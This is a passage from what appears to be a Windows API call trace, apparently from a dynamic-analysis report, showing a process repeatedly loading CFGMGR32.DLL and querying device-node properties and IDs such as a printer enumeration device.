0x7ffa786de9f0 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.371] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0227.371] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2a, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0227.371] malloc (_Size=0x48) returned 0x196ef0fb950 [0227.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x68622516, dwHighDateTime=0x1d9eb0c)) [0227.372] SetEvent (hEvent=0x248) returned 1 [0227.424] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.424] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.428] malloc (_Size=0x18) returned 0x196ef0d2000 [0227.428] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0227.428] malloc (_Size=0x48) returned 0x196ef0fbe50 [0227.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6869b9cf, dwHighDateTime=0x1d9eb0c)) [0227.429] SetEvent (hEvent=0x248) returned 1 [0227.437] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.437] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.440] malloc (_Size=0x18) returned 0x196ef0d1f20 [0227.440] CM_Get_Device_IDA (in: dnDevInst=0x2b, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{F8947BB0-075C-45F9-86B2-578590F8FCA9}") returned 0x0 [0227.441] malloc (_Size=0x48) returned 0x196ef0fb810 [0227.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x686c1f6e, dwHighDateTime=0x1d9eb0c)) [0227.441] SetEvent (hEvent=0x248) returned 1 [0227.444] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.444] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.447] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0227.447] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.448] malloc (_Size=0xe6) returned 0x196ef0d67b0 [0227.448] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0227.448] free (_Block=0x196ef0d67b0) [0227.448] malloc (_Size=0x48) returned 0x196ef0fbb30 [0227.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x686c1f6e, dwHighDateTime=0x1d9eb0c)) [0227.449] SetEvent (hEvent=0x248) returned 1 [0227.451] malloc (_Size=0x18) returned 0x196ef0d2040 [0227.451] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.451] free (_Block=0x196ef0d2040) [0227.451] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0227.451] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.451] free (_Block=0x196ef0d1ac0) [0227.451] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0227.452] SafeArrayPutElement (psa=0x196ef1f2db0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.452] free (_Block=0x196ef0d1aa0) [0227.452] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855160 [0227.452] SafeArrayGetDim (psa=0x196ef1f2db0) returned 0x1 [0227.452] SafeArrayGetLBound (in: psa=0x196ef1f2db0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.452] SafeArrayGetUBound (in: psa=0x196ef1f2db0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.452] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0227.452] SafeArrayGetDim (psa=0x196ef1f2db0) returned 0x1 [0227.452] SafeArrayGetUBound (in: psa=0x196ef1f2db0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.452] SafeArrayGetElemsize (psa=0x196ef1f2db0) returned 0x8 [0227.452] SafeArrayGetElement (in: psa=0x196ef1f2db0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.453] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e630, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.453] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e638, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.453] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e640, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.454] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0227.454] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855160) returned 1 [0227.454] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.454] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.458] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0227.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.459] malloc (_Size=0x54) returned 0x196ef101100 [0227.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef101100, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef101100, pulLength=0x67117d608) returned 0x0 [0227.459] free (_Block=0x196ef101100) [0227.460] malloc (_Size=0x48) returned 0x196ef0fbb30 [0227.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x686e7f35, dwHighDateTime=0x1d9eb0c)) [0227.460] SetEvent (hEvent=0x248) returned 1 [0227.462] malloc (_Size=0x18) returned 0x196ef0d20e0 [0227.462] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.462] free (_Block=0x196ef0d20e0) [0227.462] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0227.462] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0227.462] free (_Block=0x196ef0d1aa0) [0227.462] malloc (_Size=0x18) returned 0x196ef0d1c00 [0227.463] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0227.463] free (_Block=0x196ef0d1c00) [0227.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0227.463] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0227.463] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.463] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0227.463] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0227.463] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.463] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0227.463] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.464] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e470, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.464] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e478, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.464] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e480, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.465] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0227.465] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0227.466] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.466] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.519] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.519] malloc (_Size=0x18) returned 0x196ef0d2040 [0227.520] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.520] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0227.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6878096a, dwHighDateTime=0x1d9eb0c)) [0227.520] SetEvent (hEvent=0x248) returned 1 [0227.525] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.525] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.527] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.528] malloc (_Size=0x18) returned 0x196ef0d20c0 [0227.529] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.529] malloc (_Size=0x48) returned 0x196ef0fb270 [0227.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6878096a, 